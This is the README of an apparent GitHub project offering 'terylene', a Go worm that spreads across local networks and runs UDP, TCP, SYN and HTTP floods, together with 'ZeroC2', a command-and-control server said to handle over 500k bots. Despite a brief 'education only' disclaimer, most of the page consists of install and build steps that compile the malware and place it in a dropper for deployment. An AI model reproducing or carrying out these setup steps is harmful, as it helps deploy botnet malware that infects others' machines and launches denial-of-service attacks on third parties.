Skip to content

polymaster3313/terylene

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ZeroC2

WARNING

THIS IS ONLY FOR EDUCATION PURPOSES

UTILIZING THIS FOR ACTUAL DDOS ATTACKS IS ABSOLUTELY CONDEMNED AND COULD RESULT IN SERIOUS LEGAL CONSEQUENCES

Still in DEVELOPMENT

ZeroC2 Features:

# Duplex heartbeat monitoring
# connection deduplication mechanism
# Made in Golang + ZeroMq
# able to handle over 500k botnets
# heartbeat sensor to track bots
# migration and transfer
# Decentralized

Terylene Features:

# Duplex heartbeat monitoring
# Retrying and Backoff mechanism
# Mother priority mechanism
# Made in Golang
# Able to scan and spread through local network
# Builtin Loader
# Fast concurrent Worm spreading
# UDP, TCP, UDPRAPE, Modified UDP, HTTP, SYN flood

Updated features 0.2.4:

+ fixed a RW thread issue 
+ added custom method feature
+ added API webserver
+ optimized some codes
+ cleaned some codes

Upcoming features for 0.3.0:

- docker support
- clean my clusterfucked up codebase
- add more methods (fr this time)

Debian based Setup

Ubuntu , Debian , Kali, Parrot OS

Install ZMQ + GO package using SNAP

sudo apt update
sudo apt upgrade
sudo apt-get install libzmq3-dev
sudo apt install snapd
snap install go --classic

Arch based setup

Arch , BlackArch

Install ZMQ + GO package using pacman

sudo pacman -Sy
sudo pacman -S zeromq
sudo pacman -S go

Red Hat based setup

CentOs, Rocky , Fedora

Install ZMQ package using yum

sudo yum update
sudo dnf makecache --refresh
sudo yum install -y zeromq-devel
sudo yum install golang

ZeroC2 and terylene setup

Clone the repo

git clone https://github.com/polymaster3313/terylene.git

cd into the folder

cd terylene

edit the configs in config folder.

cd config
nano config.go

build terylene and ZeroC2

cd server
sudo go build server.go
cd ..
cd mirai
sudo go build -ldflags="-s -w" terylene.go

drop the terylene malware into the dropper

mv terylene ../server/dropper

start the zeroC2

./server

Enjoy ;)

ZeroMq and Terylene infrastructure

duplex heart monitoring system

ZeroC2

transfer and migration

Migrationfinal(1)

connection deduplication

connection deduplication

connection deduplication , Backoff and Retry Demonstration

2023-10-07.23-37-16.mp4

PS: If connection timed out (5h) , Terylene will pronounce the C2 as dead, mother priority will be activated

Mother priority

mother